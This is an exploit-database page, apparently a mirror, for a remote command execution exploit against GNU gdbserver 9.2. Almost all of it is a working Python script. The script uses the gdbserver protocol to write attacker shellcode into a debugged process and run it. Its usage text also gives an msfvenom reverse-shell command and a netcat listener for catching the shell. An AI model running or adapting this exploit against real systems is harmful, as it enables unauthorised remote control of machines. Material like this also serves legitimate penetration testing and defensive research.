GNU gdbserver 9.2 – Remote Command Execution (RCE)

  • 作者: Roberto Gesteira Miñarro
    日期: 2021-11-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50539/
  • # Exploit Title: GNU gdbserver 9.2 - Remote Command Execution (RCE)
    # Date: 2021-11-21
    # Exploit Author: Roberto Gesteira Miñarro (7Rocky)
    # Vendor Homepage: https://www.gnu.org/software/gdb/
    # Software Link: https://www.gnu.org/software/gdb/download/
    # Version: GNU gdbserver (Ubuntu 9.2-0ubuntu1~20.04) 9.2
    # Tested on: Ubuntu Linux (gdbserver debugging x64 and x86 binaries)
    
    #!/usr/bin/env python3
    
    
    import binascii
    import socket
    import struct
    import sys
    
    help = f'''
    Usage: python3 {sys.argv[0]} <gdbserver-ip:port> <path-to-shellcode>
    
    Example:
    - Victim's gdbserver ->10.10.10.200:1337
    - Attacker's listener->10.10.10.100:4444
    
    1. Generate shellcode with msfvenom:
    $ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 PrependFork=true -o rev.bin
    
    2. Listen with Netcat:
    $ nc -nlvp 4444
    
    3. Run the exploit:
    $ python3 {sys.argv[0]} 10.10.10.200:1337 rev.bin
    '''
    
    
    def checksum(s: str) -> str:
    res = sum(map(ord, s)) % 256
    return f'{res:2x}'
    
    
    def ack(sock):
    sock.send(b'+')
    
    
    def send(sock, s: str) -> str:
    sock.send(f'${s}#{checksum(s)}'.encode())
    res = sock.recv(1024)
    ack(sock)
    return res.decode()
    
    
    def exploit(sock, payload: str):
    send(sock, 'qSupported:multiprocess+;qRelocInsn+;qvCont+;')
    send(sock, '!')
    
    try:
    res = send(sock, 'vCont;s')
    data = res.split(';')[2]
    arch, pc = data.split(':')
    except Exception:
    print('[!] ERROR: Unexpected response. Try again later')
    exit(1)
    
    if arch == '10':
    print('[+] Found x64 arch')
    pc = binascii.unhexlify(pc[:pc.index('0*')])
    pc += b'\0' * (8 - len(pc))
    addr = hex(struct.unpack('<Q', pc)[0])[2:]
    addr = '0' * (16 - len(addr)) + addr
    elif arch == '08':
    print('[+] Found x86 arch')
    pc = binascii.unhexlify(pc)
    pc += b'\0' * (4 - len(pc))
    addr = hex(struct.unpack('<I', pc)[0])[2:]
    addr = '0' * (8 - len(addr)) + addr
    
    hex_length = hex(len(payload))[2:]
    
    print('[+] Sending payload')
    send(sock, f'M{addr},{hex_length}:{payload}')
    send(sock, 'vCont;c')
    
    
    def main():
    if len(sys.argv) < 3:
    print(help)
    exit(1)
    
    ip, port = sys.argv[1].split(':')
    file = sys.argv[2]
    
    try:
    with open(file, 'rb') as f:
    payload = f.read().hex()
    except FileNotFoundError:
    print(f'[!] ERROR: File {file} not found')
    exit(1)
    
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
    sock.connect((ip, int(port)))
    print('[+] Connected to target. Preparing exploit')
    exploit(sock, payload)
    print('[*] Pwned!! Check your listener')
    
    
    if __name__ == '__main__':
    main()